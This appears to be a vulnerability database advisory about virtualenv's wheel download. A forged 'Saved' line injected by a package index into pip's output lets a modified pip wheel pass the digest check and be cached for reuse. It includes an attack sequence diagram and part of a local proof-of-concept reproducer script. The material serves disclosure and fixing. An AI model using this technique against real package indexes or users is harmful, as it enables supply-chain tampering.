logo

Database

Missing subresource integrity check In virtualenv

Description

virtualenv: Downloaded wheel selection and caching precede verification ## Summary Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache. Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026. ## Affected area Download selection and promotion into the reusable wheel cache. ## Attacker-controlled input A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison. ## Affected code The relevant 21.14.8 source is in wheel download and digest check. ## Mechanism download_wheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain there. Later wheel selection does not hash the cached file again. ## Reproduction and evidence The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant. The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house, leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The gap follows the digest check added in #3251, first released in 21.7.12. PR #3430 downloads to a private temporary directory, verifies the actual archive, and promotes it only after acceptance. ## Attack sequence mermaid sequenceDiagram participant I as Configured index participant P as pip download participant C as wheel/house cache participant V as virtualenv digest check participant N as New environment I->>P: modified wheel and forged Saved line P->>C: write modified wheel directly P-->>V: stdout names genuine bundled wheel V->>V: hash genuine wheel and accept V->>C: record modified wheel for reuse C->>N: seed modified pip without rehash Note over P,C: Even a rejected wheel can remain in the cache ## Reproducer files The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. repro ```text #!/usr/bin/env python3 import atexit import hashlib import json import os import shutil import subprocess import sys from pathlib import Path companions = Path("/tmp/repro.d") work = Path("/tmp/forged-saved-line") home = work / "home" app_data = home / ".cache" / "virtualenv" this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json" virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"] as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True} added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/init.py def user_upgrades_seed_wheels_and_creates_env(): # each case starts from an empty app-data shutil.rmtree(app_data, ignore_errors=True) shutil.rmtree(home / "env", ignore_errors=True) upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user) # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True) pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True) # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0 refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None) logged = [] if update_log_of_pip.exists(): # a failed update writes no log logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]] return refusal, logged, pip_version.stdout.splitlines() # set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it shutil.rmtree(work, ignore_errors=True) (home / ".config" / "pip").mkdir(parents=True) shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf") subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True) index_server = subprocess.Popen( [sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True, ) atexit.register(index_server.kill) assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound # control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True) refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env() print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal) print("CONTROL modified pip: update log of pip lists", logged) print("CONTROL modified pip: pip --version in the new env prints", pip_says) control_ran_added_code = added_code_prints in "\n".join(pip_says) # attack: the index also adds one link, whose data-requires-python puts a "Saved " line into pip's output subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True) refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env() stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl" stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest() pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"] print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal) print("OBSERVED + forged line: update log of pip lists", logged) print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256) print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256) print("OBSERVED + forged line: pip --version in the new env prints", pip_says) attack_ran_added_code = added_code_prints in "\n".join(pip_says)

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Component
Affected version
Patched versions